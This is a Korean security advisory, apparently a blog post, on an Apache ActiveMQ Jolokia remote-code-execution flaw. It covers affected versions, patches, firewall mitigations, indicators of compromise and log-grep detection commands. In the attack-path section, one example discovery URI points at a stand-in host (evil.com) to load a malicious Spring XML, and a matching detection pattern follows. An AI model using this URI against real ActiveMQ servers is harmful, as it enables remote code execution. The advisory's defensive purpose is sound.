취약점 개요
Apache ActiveMQ의 Jolokia JMX-HTTP 브릿지 취약점(CVE-2026-34197)은 인증된 사용자가 BrokerService MBean을 조작하여 Spring XML 컨텍스트를 로드하고 임의 코드 실행(RCE)을 할 수 있습니다. CISA KEV 카탈로그에 등록되었으며 2026년 4월 30일까지 완화 조치가 필요합니다.
기술적 분석
취약점 원인
Apache ActiveMQ Classic은 /api/jolokia/ 경로를 통해 Jolokia JMX-HTTP 브릿지를 노출합니다. 기본 Jolokia 액세스 정책은 모든 ActiveMQ MBean에 대해 exec 작업을 허용합니다.
공격 경로
- 인증된 액세스 확보
- crafted discovery URI 사용 (vm://broker1?brokerConfig=http://evil.com/malicious.xml)
- Spring XML 로드 및 singleton bean 즉시 초기화
- SpEL 표현식 실행 → Runtime.exec() 호출
CVSS v3.1 점수
- Base Score: 8.8 (HIGH)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Scope: Changed
- Confidentiality/Integrity/Availability: High
영향 시스템
취약한 버전
- Apache ActiveMQ 5.19.4 이전
- Apache ActiveMQ 6.0.0 이상 ~ 6.2.3 이전
보안 버전
- Apache ActiveMQ 5.19.4 이상
- Apache ActiveMQ 6.2.3 이상
대응 전략
영구 대응
- 패치 적용: 보안 버전으로 업그레이드
- 5.x → 5.19.4 이상
-
6.x → 6.2.3 이상
-
Jolokia 비활성화: activemq.xml에서 jolokia 액세스 제거
-
웹 콘솔 비활성화: 불필요한 경우 8161 포트 폐쇄
임시 대응
- Jolokia API 차단:
/api/jolokia/*경로 방화벽 차단 - 네트워크 분리: 인터넷 노출 제한
- 강력한 인증: 기본 자격증명 변경, MFA 적용
탐지/대응 방안
IOC (Indicators of Compromise)
- 네트워크 로그
/api/jolokia/경로에 대한 비정상적인 POST 요청addConnector,addNetworkConnector작업 호출-
VM transport URI 패턴:
vm://*?brokerConfig=http://* -
시스템 로그
- Spring XML 로드 관련 예외 메시지
ResourceXmlApplicationContext관련 로그-
의심스러운 프로세스 실행 (calc.exe, PowerShell 등)
-
ActiveMQ 로그
- BrokerService 커넥터 추가 로그
- VM transport 초기화 로그
로그 분석 예시
# Jolokia API 요청 확인
grep "POST /api/jolokia" /var/log/activemq/audit.log
# VM transport 사용 확인
grep "vm://.*brokerConfig=" /var/log/activemq/activemq.log
# Spring XML 로드 확인
grep "ResourceXmlApplicationContext" /var/log/activemq/activemq.log
대응 절차
- 즉시 대응
- 영향 시스템 격리
- 네트워크 연결 차단
- 인증된 모든 세션 무효화
-
자격증명 강제 재설정
-
포렌식 분석
- 로그 분석 (악성 활동 확인)
- 시스템 이미지 수집
-
프로세스 히스토리 검토
-
복구
- 패치 적용 후 시스템 재시작
- 보안 설정 강화
- 모니터링 강화
본 콘텐츠는 AI 기술로 작성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하셨으면 댓글을 통해 의견을 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.
댓글 (0)
댓글을 작성하려면 로그인이 필요합니다.
로그인아직 댓글이 없습니다.
첫 번째 댓글을 작성해보세요!